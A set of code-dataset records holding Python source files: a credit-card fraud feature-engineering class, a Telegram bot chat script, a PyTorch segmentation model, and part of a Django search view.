"colorama.Fore", "line_number": 243, "usage_type": "name"}, {"api_name": "colorama.Fore.GREEN", "line_number": 269, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 269, "usage_type": "name"}, {"api_name": "colorama.Fore.GREEN", "line_number": 273, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 273, "usage_type": "name"}, {"api_name": "colorama.Fore.GREEN", "line_number": 297, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 297, "usage_type": "name"}, {"api_name": "colorama.Fore.GREEN", "line_number": 307, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 307, "usage_type": "name"}, {"api_name": "colorama.Fore.GREEN", "line_number": 315, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 315, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 321, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 321, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 328, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 328, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 333, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 333, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 340, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 340, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 372, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 372, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 373, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 373, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 376, "usage_type": "call"}, {"api_name": "colorama.Fore.RED", "line_number": 379, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 379, "usage_type": "name"}, {"api_name": "colorama.Fore.GREEN", "line_number": 391, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 391, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 393, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 393, "usage_type": "name"}, {"api_name": "colorama.Fore.GREEN", "line_number": 396, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 396, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 402, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 402, "usage_type": "name"}]} +{"seq_id": "40556680870", "text": "\"\"\"\nThis file provides a class that can be ''trained'' on training data, and then produce new\naggregate features for both training and test data. ''Training'' this class simply consists\nof it memorizing various statistics.\n\nFeatures constructed by this class are primarily inspired by:\n\n\"A data mining based system for credit-card fraud detection in e-tail\", by\nNuno Carneiro, Gonçalo Figueira, Miguel Costa [1]\n\n\"Feature engineering strategies for credit card fraud detection\", by\nAlejandro Correa Bahnsen, Djamila Aouada, Aleksandar Stojanovic, Björn Ottersten [2]\n\nImplementation is partially based on https://github.com/kb211/Fraud_Detection2017 [3]\n\n@author Dennis Soemers\n\"\"\"\n\nfrom datetime import datetime\nfrom datetime import timedelta\nfrom scipy.special import i0\nimport math\nimport numpy as np\nimport pandas as pd\n\nclass AggregateFeatures:\n\n def __init__(self, training_data):\n \"\"\"\n Constructs an object based on the given training data. This will cause it to memorize\n various statistics from the training data. The object can subsequently be used to generate\n new features for any dataset (can also add features to the same dataset if desired)\n\n :param training_data:\n \"\"\"\n self.country_all_dict, self.country_fraud_dict = self.compute_fraud_ratio_dicts(training_data, \"Country\")\n self.currency_all_dict, self.currency_fraud_dict = self.compute_fraud_ratio_dicts(training_data, \"Currency\")\n self.first_order_times_dict = {}\n self.compute_first_order_times_dict(training_data)\n\n # compute and store a mapping from card IDs to lists of transactions\n # this is a bit expensive memory-wise, but will very significantly speed up feature construction\n self.transactions_by_card_ids = {}\n self.add_transactions_by_card_ids(training_data)\n\n def update_unlabeled(self, new_data):\n \"\"\"\n Updates aggregate data from new, unlabeled data. The effect of doing this is similar to\n what would happen if a completely new object were constructed, with new_data appended\n to the original training_data. The difference is that this data is allowed to be unlabeled.\n This basically means that the new data is not used to update risk scores for countries (don't\n have labels for this new data, so can't update those scores), but it is used for all other\n feature engineering supported by this class (which does not depend on labels)\n\n :param new_data:\n New (unlabeled) data used to update aggregate data\n \"\"\"\n self.compute_first_order_times_dict(new_data)\n self.add_transactions_by_card_ids(new_data)\n\n def add_aggregate_features(self, data):\n \"\"\"\n Adds all aggregate features to the given dataset.\n\n Currently supported features:\n - CountryFraudRatio: The ratio of transactions with same country that were fraudulent in\n training data.\n - CountrySufficientSampleSize: Binary feature, 1 if and only if we have observed a sufficiently\n large sample size of transactions from the same country (>= 30)\n - TimeSinceFirstOrder: The time (in hours) since the first transaction was observed with the same\n card ID.\n\n\n :param data:\n Data to augment with aggregate features\n :return:\n Augmented version of the dataset (features added in-place, so no need to capture return value)\n \"\"\"\n\n '''\n The two features below are inspired by [1]. The paper describes clustering countries in four groups\n based on fraud ratio, and assigning countries with a small sample size to an ''intermediate level of\n risk'' group regardless of the actual ratio within that small sample size. No further information is\n provided in the paper about exactly how the clustering is done.\n\n Instead, we'll simply use a numeric feature for the ratio, and a binary feature indicating whether or\n not we consider the sample size to be sufficient. Completely linear Machine Learning models (such as\n pure Logistic Regression) may struggle to combine these two features in an intelligent manner, but\n more hierarchical models (like Neural Networks or Decision Trees) might be able to combine them a bit better.\n (based on my intuition at least, no fancy citations for this :( )\n '''\n data[\"CountryFraudRatio\"] = data.apply(\n lambda row: self.get_country_fraud_ratio(row=row), axis=1\n )\n data[\"CountrySufficientSampleSize\"] = data.apply(\n lambda row: self.is_country_sample_size_sufficient(row=row), axis=1\n )\n\n '''\n The following features are not described in any papers specifically\n '''\n data[\"CurrencyFraudRatio\"] = data.apply(\n lambda row: self.get_currency_fraud_ratio(row=row), axis=1\n )\n data[\"CurrencySufficientSampleSize\"] = data.apply(\n lambda row: self.is_currency_sample_size_sufficient(row=row), axis=1\n )\n data = self.add_date_features(data)\n\n '''\n The following feature appears in Table 1 in [1], but has no explanation otherwise in the paper. Intuitively,\n I suppose it can be an indication of how trustworthy a Card is, in that one that has been in use for\n a very long time may be more trustworthy than a brand new card.\n '''\n data[\"TimeSinceFirstOrder\"] = data.apply(\n lambda row: self.get_time_since_first_order(row=row), axis=1)\n\n data = self.add_historical_features(data)\n\n data = self.add_time_of_day_features(data)\n\n return data\n\n def add_date_features(self, data):\n \"\"\"\n Adds a few general features computed from the Local_Date (sin and cos for hour in day and month in year)\n\n :param data:\n Data to add features to\n :return:\n Data with extra features (added in-place)\n \"\"\"\n data[\"SinHour\"] = data.apply(lambda row: self.compute_sin_hour(row=row), axis=1)\n data[\"CosHour\"] = data.apply(lambda row: self.compute_cos_hour(row=row), axis=1)\n data[\"SinMonth\"] = data.apply(lambda row: self.compute_sin_month(row=row), axis=1)\n data[\"CosMonth\"] = data.apply(lambda row: self.compute_cos_month(row=row), axis=1)\n return data\n\n def add_historical_features(self, data,\n time_frames=[100, 300, 600, 1200, 1800, 2400, 7200, 16800],\n conditions=((), ('MerchantID',), (\"Country\",))):\n \"\"\"\n Adds multiple historical features to the given dataset. Explanation:\n\n For every row in data:\n For every time-frame (in hours) specified in time_frames:\n For every tuple of column names specified in conditions:\n We collect all historical transactions in training data (and also the given new dataset itself\n if include_test_data_in_history=True) that still fit within the timeframe (in hours), have\n the same Card ID as row, and have an equal value for all column names. Based on this set\n of recent, related transactions (related through Card ID and optionally additional conditions),\n we construct two new features for the row:\n 1) the number of transactions in this set\n 2) the sum of transactions amounts in this set\n\n The total number of features added to every row by this function is\n 2 * |time_frames| * |conditions|\n\n This is all based on Section 3.1 of [2]\n\n :param data:\n Dataset to augment with extra features\n :param time_frames:\n List of all the time-frames (in hours) for which we want to compute features. Default selection of\n time-frames based on [2].\n :param conditions:\n A tuple of tuples of column names. Every tuple represents a condition. Historical transactions are only\n included in the set that features are computed from if they satisfy the condition. A condition is satisfied\n if and only if a transaction has the same values for all column names as the transaction we're computing\n features for. By default, we use an empty tuple (= compute features with no extra conditions other than\n Card ID and time-frame), (\"MerchantID\") (= compute features only from transactions with the same Merchant\n ID), and (\"Country\") (= compute features only from transactions with the same Country).\n\n Note that it's also possible to specify tuples with more than a single column name, to create even\n more specific conditions where multiple columns must match.\n :return:\n The dataset, augmented with new features (features added in-place)\n \"\"\"\n\n # make sure time-frames are sorted\n time_frames = sorted(time_frames)\n\n # add our new columns, with all 0s by default\n for feature_type in (\"Num\", \"Amt_Sum\"):\n for time_frame in time_frames:\n time_frame_str = str(time_frame)\n for cond in conditions:\n new_col_name = \"%s_%s\" % (feature_type, time_frame_str)\n\n for cond_part in cond:\n new_col_name += \"_\" + cond_part\n\n if feature_type == \"Num\":\n data[new_col_name] = 0\n else:\n data[new_col_name] = 0.0\n\n #print(str(datetime.now()), \": Added all-zero columns for historical features\")\n\n # now we have all the columns ready, and we can loop through rows, handling all features per row at once\n transactions_by_card_ids = self.transactions_by_card_ids\n extract_transactions_before = self.extract_transactions_before\n extract_transactions_after = self.extract_transactions_after\n for row in data.itertuples():\n # date of the row we're adding features for\n row_date = row.Global_Date\n\n # the Card ID of the row we're adding features for\n row_card_id = row.CardID\n\n # select all training data with correct Card ID, and with a date earlier than row\n card_transactions = transactions_by_card_ids[row_card_id]\n matching_data = extract_transactions_before(card_transactions, row_date)\n\n if matching_data is None:\n continue\n\n # loop over our time-frames in reverse order, so that we can gradually cut out more and more data\n for time_frame_idx in range(len(time_frames) - 1, -1, -1):\n time_frame = time_frames[time_frame_idx]\n time_frame_str = str(time_frame)\n\n # reduce matching data to part that fits within this time frame\n earliest_allowed_date = row_date - timedelta(hours=time_frame)\n matching_data = extract_transactions_after(matching_data, earliest_allowed_date)\n\n if matching_data is None:\n break\n\n # loop through our conditions\n for condition in conditions:\n conditional_matching_data = matching_data\n\n col_name_num = \"Num_\" + time_frame_str\n col_name_amt = \"Amt_Sum_\" + time_frame_str\n\n # loop through individual parts of the condition\n for condition_term in condition:\n row_condition_value = getattr(row, condition_term)\n conditional_matching_data = conditional_matching_data.loc[\n conditional_matching_data[condition_term] == row_condition_value]\n\n col_name_num += \"_\" + condition_term\n col_name_amt += \"_\" + condition_term\n\n # now the conditional_matching_data is all we want for two new features\n data.set_value(row.Index, col_name_num, conditional_matching_data.shape[0])\n data.set_value(row.Index, col_name_amt, conditional_matching_data[\"Amount\"].sum())\n\n return data\n\n def add_time_of_day_features(self, data,\n time_frames=[7, 30, 60, 90]):\n \"\"\"\n Adds multiple time-of-day features to the given dataset. Explanation:\n\n For every row in data:\n For every time-frame (in days) specified in time_frames:\n We collect all historical transactions in training data (and also the given new dataset itself\n if include_test_data_in_history=True) that still fit within the timeframe (in days), and have\n the same Card ID as row. Based on this set of recent, related transactions (related through Card ID),\n we estimate a Von Mises distribution describing when the Card ID is typically used for transactions.\n\n For every new transaction (row), the feature we construct is the probability density of the Von Mises\n distribution at the given time divided by the probability density of the Von Mises distribution at the\n mean (which is the maximum of the probability density function).\n\n This is mostly based on Section 3.2 of [2], and implementation based on [3]\n\n :param data:\n Dataset to augment with extra features\n :param time_frames:\n List of all the time-frames for which we want to compute features.\n :return:\n The dataset, augmented with new features (features added in-place)\n \"\"\"\n # make sure time-frames are sorted\n time_frames = sorted(time_frames)\n\n # add our new columns, with all 0s by default\n for time_frame in time_frames:\n new_col_name = \"Prob_Density_Time_\" + str(time_frame)\n\n # 1.0 as default value is equivalent to assuming a completely uniform distribution over time\n # in the absence of data\n data[new_col_name] = 1.0\n\n #print(str(datetime.now()), \": Added all-one columns for time-of-day features\")\n\n # now we have all the columns ready, and we can loop through rows, handling all features per row at once\n transactions_by_card_ids = self.transactions_by_card_ids\n extract_transactions_before = self.extract_transactions_before\n extract_transactions_after = self.extract_transactions_after\n time_to_circle = self.time_to_circle\n sin = math.sin\n cos = math.cos\n arctan2 = np.arctan2\n estimate_von_mises_kappa = self.estimate_von_mises_kappa\n exp = math.exp\n\n for row in data.itertuples():\n # date of the row we're adding features for\n row_date = row.Global_Date\n\n # the Card ID of the row we're adding features for\n row_card_id = row.CardID\n\n # select all training data with correct Card ID, and with a date earlier than row\n card_transactions = transactions_by_card_ids[row_card_id]\n matching_data = extract_transactions_before(card_transactions, row_date)\n\n if matching_data is None:\n continue\n\n # loop over our time-frames in reverse order, so that we can gradually cut out more and more data\n for time_frame_idx in range(len(time_frames) - 1, -1, -1):\n time_frame = time_frames[time_frame_idx]\n\n # reduce matching data to part that fits within this time frame\n earliest_allowed_date = row_date - timedelta(days=time_frame)\n matching_data = extract_transactions_after(matching_data, earliest_allowed_date)\n\n if matching_data is None:\n break\n\n # Important to use Local_Date here! When analysing what's normal behaviour for the customer,\n # we care about their local time.\n time_angles = [time_to_circle(transaction.Local_Date)\n for transaction in matching_data.itertuples()]\n\n row_t = time_to_circle(row.Local_Date)\n\n N = len(time_angles)\n\n if N == 0:\n mu = row_t\n kappa = 0.001\n else:\n # following estimation of mu looks different from what's described in [2], but is actually\n # equivalent, see: https://en.wikipedia.org/wiki/Atan2#Definition_and_computation (expression\n # derived from the tangent half-angle formula)\n phi = sum([sin(val) for val in time_angles])\n psi = sum([cos(val) for val in time_angles])\n mu = arctan2(phi, psi)\n\n # sigma in [2] = 1 / kappa\n kappa = estimate_von_mises_kappa(phi, psi, N)\n\n '''\n The commented code correctly computes the actual values of the probability density function\n at t and at the mean. However, they share the same denominator. Because we finally divide\n these two numbers by each other, those two equal denominators cancel out. Therefore, we can\n save the computation time and simply not compute them. So, be aware that, even though we use\n the variable names prob_density_at_t and prob_density_at_mean in the code that is not commented\n out, they're actually different values\n\n i0_kappa = i0(kappa)\n prob_density_at_t = np.exp(kappa * np.cos(row_t - mu)) / (2 * np.pi * i0_kappa)\n prob_density_at_mean = np.exp(kappa) / (2 * np.pi * i0_kappa)\n '''\n\n prob_density_at_t = exp(kappa * cos(row_t - mu))\n prob_density_at_mean = exp(kappa)\n\n # add the feature\n data.set_value(row.Index, \"Prob_Density_Time_\" + str(time_frame),\n prob_density_at_t / prob_density_at_mean)\n\n return data\n\n def add_transactions_by_card_ids(self, data):\n \"\"\"\n Computes a dictionary, mapping from Card IDs to dataframes. For every unique card ID in the data,\n we store a small dataframe of all transactions with that Card ID.\n\n :param data:\n Labelled training data\n \"\"\"\n transactions_by_card_ids = self.transactions_by_card_ids\n\n for card_id in data.CardID.unique():\n if card_id not in transactions_by_card_ids:\n # card ID not in map yet\n transactions_by_card_ids[card_id] = data.loc[data[\"CardID\"] == card_id]\n else:\n # card ID already in map, so should append\n transactions_by_card_ids[card_id] = transactions_by_card_ids[card_id]\\\n .append(data.loc[data[\"CardID\"] == card_id], ignore_index=True)\n\n def compute_cos_hour(self, row):\n date = row.Local_Date\n hour = date.hour + float(date.minute) / 60.0\n return math.cos(hour * math.pi / 12.0)\n\n def compute_cos_month(self, row):\n date = row.Local_Date\n month = date.month\n return math.cos(month * math.pi / 6.0)\n\n def compute_sin_hour(self, row):\n date = row.Local_Date\n hour = date.hour + float(date.minute) / 60.0\n return math.sin(hour * math.pi / 12.0)\n\n def compute_sin_month(self, row):\n date = row.Local_Date\n month = date.month\n return math.sin(month * math.pi / 6.0)\n\n def compute_first_order_times_dict(self, training_data):\n \"\"\"\n Computes a dictionary, mapping from Card IDs to timestamps (dates). For every unique card ID\n in the training data, we store the first point in time where that card was used for a transaction.\n\n :param training_data:\n Labelled training data\n \"\"\"\n first_order_times_dict = self.first_order_times_dict\n\n for row in training_data.itertuples():\n card = row.CardID\n\n if card not in first_order_times_dict:\n first_order_times_dict[card] = row.Global_Date\n\n def compute_fraud_ratio_dicts(self, training_data, column):\n \"\"\"\n Computes two dictionaries, with all values of a given column as keys. The given column\n should correspond to a discrete feature, otherwise this is going to return fairly large\n and fairly useless dictionaries. One dictionary will contain, for every feature value, the\n total number of transactions, and the other will contain the number of fraudulent transactions.\n\n :param training_data:\n Labelled training data\n :param column:\n Column to compute dictionary for\n :return:\n Dictionary with counts of all transactions, and dictionary with counts of fraudulent transactions\n \"\"\"\n all_transactions_dict = {}\n fraud_transactions_dict = {}\n\n # Thanks Kasper for implementation :D [3]\n fraud_list = training_data.loc[training_data[\"Target\"] == 1]\n fraud_dict = fraud_list[column].value_counts()\n all_dict = training_data[column].value_counts()\n for key, item in all_dict.iteritems():\n all_transactions_dict[key] = all_dict[key]\n\n if key in fraud_dict:\n fraud_transactions_dict[key] = fraud_dict[key]\n else:\n fraud_transactions_dict[key] = 0\n\n return all_transactions_dict, fraud_transactions_dict\n\n def estimate_von_mises_kappa(self, phi, psi, N):\n \"\"\"\n Helper function to estimate the kappa parameter of a Von Mises distribution\n\n Implementation partially based on [3]\n\n :param phi:\n Sum of sines\n :param psi:\n Sum of cosines\n :param N:\n Sample size\n :return:\n Estimate of kappa (with some special cases covered for improved numeric stability. Essentially\n this introduces a bias towards uniform distributions for low N)\n \"\"\"\n N_inv = 1. / N\n denominator = (((N_inv * phi) ** 2) + ((N_inv * psi) ** 2))\n denominator = min(max(0.0001, denominator), 0.9999)\n\n kappa = 1. / math.sqrt(math.log(1. / denominator))\n\n # if we have low N, we want to bias towards low kappa (prior assumption of more uniform distribution)\n if N < 5:\n kappa = min(1 - N_inv, kappa)\n\n return kappa\n\n def extract_transactions_before(self, data, date, hint=-1):\n \"\"\"\n Helper function which extracts all transactions from the given data which took place before\n the given point in time. It assumes that the data is sorted by date (this assumption allows\n for a much more efficient implementation)\n\n :param data:\n Data to extract transactions from\n :param date:\n We'll extract transactions that took place before this point in time\n :param hint:\n If >= 0, we'll inspect the date of the transaction at this index first. Can be used to\n speed up the binary search. For example, if data = training data, and date = the date of\n a transaction from later test data, we can set hint to (the size of the training data - 1)\n in order to instantly see that the entire training data occurred before the given date\n :return:\n The extracted transactions\n \"\"\"\n #print(\"\")\n #print(\"Want all transactions before \", str(date))\n\n # we'll use binary search to find where a transaction at the given date should be inserted; then\n # we can simply return all transactions up to that index\n low = 0\n high = data.shape[0] - 1\n\n if hint >= 0:\n # we were given a hint, should investigate there first\n hint_date = data.iloc[hint].Global_Date\n\n if hint_date < date:\n low = hint + 1\n\n while low <= high:\n mid = (low + high) // 2\n mid_date = data.iloc[mid].Global_Date\n\n #print(\"Time at \", mid, \" = \", str(mid_date))\n\n if mid_date >= date:\n high = mid - 1\n else:\n low = mid + 1\n\n # ''low'' is now the leftmost index where we could insert the transaction at the given date without\n # messing up the ordering.\n if low > 0:\n '''\n if data.iloc[low].Date < date:\n print(\"extract_transactions_before ERROR: should also have included \", low)\n\n if data.iloc[low - 1].Date >= date:\n print(\"extract_transactions_before ERROR: should not have included \", low)\n '''\n\n # return all data up to the low index (excluding low itself)\n #print(\"Returning everything up to \", low)\n return data.iloc[:low]\n else:\n # no data, so just return None\n #print(\"Returning None\")\n return None\n\n def extract_transactions_after(self, data, date):\n \"\"\"\n Helper function which extracts all transactions from the given data which took place\n after (or exactly at) the given point in time. It assumes that the data is sorted by\n date (this assumption allows for a much more efficient implementation)\n\n :param data:\n Data to extract transactions from\n :param date:\n We'll extract transactions that took place after or at this point in time\n :return:\n The extracted transactions\n \"\"\"\n # we'll use binary search to find where a transaction at the given date should be inserted; then\n # we can simply return all transactions starting from that index\n low = 0\n high = data.shape[0] - 1\n\n while low <= high:\n mid = (low + high) // 2\n mid_date = data.iloc[mid].Global_Date\n\n if mid_date >= date:\n high = mid - 1\n else:\n low = mid + 1\n\n # ''low'' is now the leftmost index where we could insert the transaction at the given date without\n # messing up the ordering.\n if low < data.shape[0]:\n '''\n if data.iloc[low].Date < date:\n print(\"extract_transactions_after ERROR: should not have included \", low)\n\n if low > 0 and data.iloc[low - 1].Date >= date:\n print(\"extract_transactions_after ERROR: should also have included \", low - 1)\n '''\n\n # return all data starting from low\n return data.iloc[low:]\n else:\n # no data, so just return None\n return None\n\n def get_country_fraud_ratio(self, country=\"\", row=None):\n \"\"\"\n Computes the ratio of fraudulent transactions for a country\n\n :param country:\n Country (string) to get the fraud ratio for\n :param row:\n If not None, Country will be extracted from this row\n :return:\n Ratio of transactions corresponding to given country which are fraudulent\n \"\"\"\n if row is not None:\n country = row[\"Country\"]\n\n if country not in self.country_all_dict:\n # TODO may be interesting to try average of all countries? Or max, to motivate exploration?\n return 0.0\n else:\n return float(self.country_fraud_dict[country]) / float(self.country_all_dict[country])\n\n def get_currency_fraud_ratio(self, currency=\"\", row=None):\n \"\"\"\n Computes the ratio of fraudulent transactions for a currency\n\n :param currency:\n Currency (string) to get the fraud ratio for\n :param row:\n If not None, Currency will be extracted from this row\n :return:\n Ratio of transactions corresponding to given country which are fraudulent\n \"\"\"\n if row is not None:\n currency = row[\"Country\"]\n\n if currency not in self.currency_all_dict:\n # TODO may be interesting to try average of all currencies? Or max, to motivate exploration?\n return 0.0\n else:\n return float(self.currency_fraud_dict[currency]) / float(self.currency_all_dict[currency])\n\n def get_time_since_first_order(self, row):\n \"\"\"\n Computes the time since the first order (= transaction) with the same Card ID\n\n :param row:\n Data row representing a new transaction\n :return:\n Time (in hours) since first order with the same card (or 0 if never seen before)\n \"\"\"\n cardID = row[\"CardID\"]\n date = row[\"Global_Date\"]\n\n if cardID in self.first_order_times_dict:\n time_delta = date - self.first_order_times_dict[cardID]\n return max(0, float(time_delta.days * 24.0) + (float(time_delta.seconds) / 3600.0))\n\n # first time we see this card, so simply return 0\n return 0\n\n def is_country_sample_size_sufficient(self, country=\"\", row=None):\n \"\"\"\n Returns 1 if and only if the number of observations for a given country >= 30\n (returns 0 otherwise)\n\n :param country:\n Country (string) to check the sample size for\n :param row:\n If not None, Country will be extracted from this row\n :return:\n 1 if and only if the number of observations >= 30, 0 otherwise\n \"\"\"\n if row is not None:\n country = row[\"Country\"]\n\n if country not in self.country_all_dict:\n return 0\n else:\n if self.country_all_dict[country] >= 30:\n return 1\n else:\n return 0\n\n def is_currency_sample_size_sufficient(self, currency=\"\", row=None):\n \"\"\"\n Returns 1 if and only if the number of observations for a given currency >= 30\n (returns 0 otherwise)\n\n :param currency:\n Currency (string) to check the sample size for\n :param row:\n If not None, currency will be extracted from this row\n :return:\n 1 if and only if the number of observations >= 30, 0 otherwise\n \"\"\"\n if row is not None:\n currency = row[\"Currency\"]\n\n if currency not in self.currency_all_dict:\n return 0\n else:\n if self.currency_all_dict[currency] >= 30:\n return 1\n else:\n return 0\n\n def time_to_circle(self, time):\n \"\"\"\n Helper function which a point in time (date) to a point on a circle (a 24-hour circle)\n\n Thanks for the implementation Kasper [3]\n\n :param time:\n Time (date) to convert\n :return:\n Angle representing point on circle\n \"\"\"\n hour_float = \\\n time.hour + time.minute / 60.0 + time.second / 3600.0 + time.microsecond / (3600.0 * 1000000.0)\n\n return hour_float / 12 * math.pi - math.pi\n", "repo_name": "lmzintgraf/MultiMAuS", "sub_path": "data/features/aggregate_features.py", "file_name": "aggregate_features.py", "file_ext": "py", "file_size_in_byte": 31068, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 19, "dataset": "github-code", "pt": "16", "api": [{"api_name": "datetime.timedelta", "line_number": 224, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 295, "usage_type": "attribute"}, {"api_name": "math.cos", "line_number": 296, "usage_type": "attribute"}, {"api_name": "numpy.arctan2", "line_number": 297, "usage_type": "attribute"}, {"api_name": "math.exp", "line_number": 299, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 320, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 393, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 393, "usage_type": "attribute"}, {"api_name": "math.cos", "line_number": 398, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 398, "usage_type": "attribute"}, {"api_name": "math.sin", "line_number": 403, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 403, "usage_type": "attribute"}, {"api_name": "math.sin", "line_number": 408, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 408, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 477, "usage_type": "call"}, {"api_name": "math.log", "line_number": 477, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 711, "usage_type": "attribute"}]} +{"seq_id": "37808372432", "text": "import requests\r\nimport json\r\n\r\nAPIToken = input(\"Enter Bot API Token: \")\r\nurlAPI = \"https://api.telegram.org/bot\"+APIToken+\"/getUpdates\"\r\nres=requests.get(urlAPI)\r\nresponse=json.loads(res.text)\r\ntarget=response['result'][-1]['message']\r\nfromuser=target['from']['first_name']\r\ncurrUpdid=response['result'][-1]['update_id']\r\nprint(fromuser,'says: ',target['text'])\r\nwhile True:\r\n res=requests.get(urlAPI)\r\n response=json.loads(res.text)\r\n fromuser=target['from']['first_name']\r\n target=response['result'][-1]['message']\r\n if currUpdid!=response['result'][-1]['update_id']:\r\n fromuser=target['from']['first_name']\r\n print(fromuser,'says: ',target['text'])\r\n currUpdid=response['result'][-1]['update_id']\r\n msg=input(\"Msg: \")\r\n chatid=fromuser=target['chat']['id']\r\n actualurl=r'https://api.telegram.org/bot' + APIToken +'/sendMessage?text='+msg+r'&chat_id='+str(chatid)\r\n sendres=requests.get(actualurl)\r\n\r\n\r\n\r\n\r\n", "repo_name": "adityarags/Telegram-Chat-to-One-Bot", "sub_path": "ChatToOneBot.py", "file_name": "ChatToOneBot.py", "file_ext": "py", "file_size_in_byte": 975, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "requests.get", "line_number": 6, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 7, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 13, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 14, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 24, "usage_type": "call"}]} +{"seq_id": "21459197931", "text": "from model.CLAM_Decoder import *\nfrom model.ASPP import AtrousPyramidModule\nfrom model.SelfAttentionModule import SAM\nfrom model.SelfAttentionModule import CAM\nfrom torch.nn import Parameter\n\nclass AGSCNet(nn.Module):\n def __init__(self, n_channels, n_classes, bilinear=True):\n super(AGSCNet, self).__init__()\n self.n_channels = n_channels\n self.n_classes = n_classes\n self.bilinear = bilinear\n\n self.inc = DoubleConv(n_channels, 64)\n\n self.down1 = Down(64, 128)\n\n self.down2 = Down(128, 256)\n\n self.down3 = Down(256, 512)\n\n self.down4 = Down(512, 1024)\n\n self.aspp = AtrousPyramidModule(in_channel=1024, out_channel=1024, rate=[1, 2, 4, 8])\n\n self.CAM = CAM(hf_channels=1024, lf_channels=1024)\n self.SAM = SAM(in_dim=1024)\n self.gamma = Parameter(torch.zeros(1))\n\n self.up1 = Up(1024, 512, 512, bilinear)\n\n self.up2 = Up(512, 256, 256, bilinear)\n\n self.up3 = Up(256, 128, 128, bilinear)\n\n self.up4 = Up(128, 64, 64, bilinear)\n\n self.outConv1 = OutConv(64, n_classes)\n\n\n\n self.sigmoid = nn.Sigmoid()\n\n def forward(self, x):\n x = self.inc(x)\n x1 = x\n\n x = self.down1(x)\n x2 = x\n\n x = self.down2(x)\n x3 = x\n\n x = self.down3(x)\n x4 = x\n\n x = self.down4(x)\n\n context = self.SAM(x)\n aspp = self.aspp(x)\n content = self.CAM(context, aspp)\n\n alpha = self.sigmoid(self.gamma)\n x = alpha * context + (1 - alpha) * content\n\n x = self.up1(x, x4)\n\n x = self.up2(x, x3)\n\n x = self.up3(x, x2)\n\n x = self.up4(x, x1)\n\n x = self.outConv1(x)\n\n out1 = self.sigmoid(x)\n\n out = self.sigmoid(x)\n\n return out1, out\n\nif __name__ == '__main__':\n net = AGSCNet(n_channels=3, n_classes=1)\n m = torch.randn(1,3,224,224)\n print(net(m)[2] .shape)\n", "repo_name": "Yiyizzzzz/AGSCNet", "sub_path": "model/AGSCNet.py", "file_name": "AGSCNet.py", "file_ext": "py", "file_size_in_byte": 1919, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "model.ASPP.AtrousPyramidModule", "line_number": 24, "usage_type": "call"}, {"api_name": "model.SelfAttentionModule.CAM", "line_number": 26, "usage_type": "call"}, {"api_name": "model.SelfAttentionModule.SAM", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn.zeros", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.nn.randn", "line_number": 84, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 84, "usage_type": "name"}]} +{"seq_id": "7313483239", "text": "# Create your views here.\nfrom django.shortcuts import render_to_response\nfrom django.http import HttpResponseRedirect\nfrom FindTalent.common.models import TalentHelper,SessionManager\nfrom FindTalent.user_profile.skill.models import Skill\nfrom FindTalent.user_profile.project.models import Project\nfrom FindTalent.user_profile.certification.models import Certification\nfrom FindTalent.account.models import TalentUser\n\ndef search( request ):\n ident = SessionManager( request.session ).check_cookie()\n\n if len( ident ) != 2:\n return HttpResponseRedirect( '/' )\n \n checker = TalentHelper.get_empty_val_checker( request.GET )\n if not checker( 'type' ) or not checker ( 'key' ):\n result = TalentUser.objects.all()\n return render_to_response( 'search/index.htm', { 'all_search_result' : result, 'total_qualified':len(result) } )\n \n else:\n search_type = request.GET[ 'type' ]\n search_key = request.GET[ 'key' ]\n \n if ( search_type == 'project' ):\n result = Project.objects.filter( description__icontains=search_key )\n if ( search_type == 'skill' ):\n result = Skill.objects.filter( skill__icontains=search_key )\n if ( search_type == 'certification' ):\n result = Certification.objects.filter( cert_name__icontains=search_key )\n \n users = []\n for re in result:\n users.append(re.username)\n \n return render_to_response( 'search/index.htm', { 'all_search_result' : users, 